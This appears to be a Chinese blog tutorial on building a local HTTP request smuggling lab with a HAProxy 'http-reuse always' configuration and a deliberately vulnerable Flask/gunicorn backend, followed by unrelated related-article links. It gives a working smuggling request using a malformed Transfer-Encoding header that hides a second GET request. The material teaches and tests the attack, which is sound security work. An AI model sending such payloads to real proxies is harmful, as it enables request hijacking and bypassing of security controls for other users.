Haproxy 介绍

HAProxy是一个使用C语言编写的自由及开放源代码软件,其提供高可用性、负载均衡,以及基于TCP和HTTP的应用程序代理。

请求走私(Request smuggling)概念证明

使用下面的haproxy.cfg

defaults
    mode http
    timeout http-keep-alive 10s
    timeout connect 5s
    timeout server 60s
    timeout client 30s
    timeout http-request 30s
 
backend web
    http-reuse always
    server web0 127.0.0.1:6767
 
frontend http
    bind *:1080
    timeout client 5s
    timeout http-request 10s
    default_backend web

配置的关键是http-reuse always , 这不是HAProxy中处理连接重用的默认选项。在此处查看有关此设置的更多详细信息:http://cbonte.github.io/haproxy-dconv/1.9/configuration.html#4.2-http-reuse。

这对于搭建请求走私环境至关重要,因为我们希望从HAProxy到后端服务器的受害者连接可以重用攻击者控制的连接。

启动负责均衡服务器

haproxy -f haproxy.cfg

对于后端,我们需要一个HTTP服务器,该服务器将与HAProxy 一起使用,并且将解析格式错误的Transfer-Encoding标头为有效,并且在解析请求时 ,Transfer-Encoding 将会优先  Content-Length 进行解析。发现其中一个是Python gunicorn应用服务器(已针对最新的19.9.0 进行测试),

下面使用Flask的演示Web应用程序,当与HAProxy错误结合使用时,该应用程序应该容易受到请求走私的攻击。首先,让我们安装先决条件

pip install flask
pip install gunicorn
pip install gunicorn[gevent]

backend.py 代码如下

from flask import Flask, request, jsonify
 
app = Flask(__name__)
 
@app.route('/', methods=['GET''POST'])
def main():
    # the next line is required for Transfer-Encoding support in the request
    request.environ['wsgi.input_terminated'] = True
    headers = {}
    for header in request.headers:
        headers[header[0]] = header[1]
    return jsonify(body=request.data, headers=headers)

启动WEB服务器

gunicorn --keep-alive 10 -k gevent --bind 0.0.0.0:6767 -w 20 backend:app --access-logfile -

我们怎么知道我们已经走私了?当我们在Turbo Intruder中发起这种攻击时,其中的一个响应请求的响应大小会不同,可以看到响应包里面有一个走私请求

更直观的感受

1.先用Intruder 对目标发起GET /xxxx 的请求操作,

2.然后在Repeater里发送如下数据包 ,注意 Transfer-Encoding 与 chunked之间是\x0b 其实\x0c也是有效的

POST / HTTP/1.1
Host: 10.0.83.77:1080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Connection: keep-alive
Content-Type: application/json
Content-Length: 30
Transfer-Encoding: chunked
 
0
 
GET / HTTP/1.1
X-Test: x

利用Haproxy搭建 HTTP 请求走私(Request smuggling)环境的更多相关文章

  1. 协议层安全相关《http请求走私与CTF利用》

    0x00 前言 最近刷题的时候多次遇到HTTP请求走私相关的题目,但之前都没怎么接触到相关的知识点,只是在GKCTF2021--hackme中使用到了 CVE-2019-20372(Nginx< ...

  2. Python爬虫3-parse编码与利用parse模拟post请求

    GitHub代码练习地址:①利用parse模拟post请求:https://github.com/Neo-ML/PythonPractice/blob/master/SpiderPrac04_pars ...

  3. 利用Hexo搭建个人博客-博客发布篇

    通过 <利用Hexo搭建个人博客-环境搭建篇> 以及 <利用Hexo搭建个人博客-博客初始化篇>,我们了解到了利用Hexo搭建个人博客需要的环境以及配置,下面这篇文章将会介绍如 ...

  4. HTTP Request Smuggling 请求走私

    参考文章 浅析HTTP走私攻击 SeeBug-协议层的攻击--HTTP请求走私 HTTP 走私漏洞分析 简单介绍 攻击者通过构造特殊结构的请求,干扰网站服务器对请求的处理,从而实现攻击目标 前提知识 ...

  5. 为什么一个Http Header中的空格会被骇客利用 - HTTP request smuggling

    figure:last-child { margin-bottom: 0.5rem; } #write ol, #write ul { position: relative; } img { max- ...

  6. Http Request Smuggling - Note

    http请求走私漏洞 访问Burp靶场速度感人..都要哭了(如果没有账户的先创建账户) 基础补充 pipeline http1.1有了Pipeline,就不需要等待Server端的响应了.浏览器默认不 ...

  7. 利用Nginx搭建http和rtmp协议的流媒体服务器[转]

    利用nginx搭建http和rtmp协议的流媒体服务器 实验目的:让Nginx支持flv和mp4格式文件,同时支持Rtmp协议:同时打开rtmp的hls功能资料:HTTPLive Streaming( ...

  8. [RoarCTF 2019]Easy Calc-协议层攻击之HTTP请求走私

    0X01:什么是HTTP请求走私 HTTP请求走私属于协议层攻击,是服务器漏洞的一种. HTTP请求走私是一种干扰网站处理从一个或多个用户接收的HTTP请求序列的方式的技术.使攻击者可以绕过安全控制, ...

  9. Portswigger web security academy:HTTP request smuggling

    HTTP request smuggling 目录 HTTP request smuggling HTTP request smuggling, basic CL.TE vulnerability H ...

随机推荐

  1. python 列表越界

    data = [1,8,5,9,7,4,5] print(data[10:]) #返回空 print(data[10]) #出错,越界

  2. A.Sweet Problem

    题目:甜蜜的问题 题意:你有三堆糖果:红色,绿色,蓝色 第一堆有r个糖果,第二堆有g个糖果,第三堆有b个糖果 每天都可以吃两个不同颜色的糖果,找出可以吃糖果的最大天数 分析:先排下序,如果最大堆大于等 ...

  3. ARTS-S mongo关闭与启动

    关闭 mongo admin --eval "db.shutdownServer()" 删除dbdata目录下的mongo.lock 启动 /usr/bin/mongod --db ...

  4. 基于python的种子搜索网站(三)项目部署

    项目部署过程 系统要求:ubuntu 16.04(或以上) 环境搭建和配置,必须严格按照以下步骤来安装部署!如有问题可以咨询(weixin:java2048) 安装部分 安装nginx sudo ap ...

  5. Day 02 作业

    作业 一 什么是编程? 基于编程语言的语法格式将自己脑中里想让计算机做的事,写到文件中. 二 简述计算机五大组成 控制器,运算器,存储器,输入设备,输出设备 三 操作系统有什么用? 操作系统直接与硬件 ...

  6. C语言每日一练——第5题

    一.题目要求 选出大于100小于1000的所有个位数与十位数字之和被10除所得余数恰好是百位数字的所有数字(如293).计算并输出上述这些素数的个数cnt以及这些素数值得sum,最后把结果cnt和su ...

  7. Elasticsearch系列---初识搜索

    概要 本篇主要介绍搜索的报文结构含义.搜索超时时间的处理过程,提及了一下多索引搜索和轻量搜索,最后将精确搜索与全文搜索做了简单的对比. 空搜索 搜索API最简单的形式是不指定索引和类型的空搜索,它将返 ...

  8. Python之如何修改运行的快捷键

    如果你在Pycharm中运行程序使用Ctrl+shift+F10快捷键,运行失败,使用Pycharm工具组,右键一下选择“Run+文件名称AAA”运行程序,直接运行成功的话,那么你就可以 更换自己的运 ...

  9. SpringCloud-使用路由网关的服务过滤功能-拦截登录前是否有token为例

    场景 SpringCloud-使用路由网关统一访问接口(附代码下载): https://blog.csdn.net/BADAO_LIUMANG_QIZHI/article/details/102733 ...

  10. php 弱类型总结

    0x01 前言 最近CTF比赛,不止一次的出了php弱类型的题目,借此想总结一下关于php弱类型以及绕过方式 0x02 知识介绍 php中有两种比较的符号 == 与 === <?php $a = ...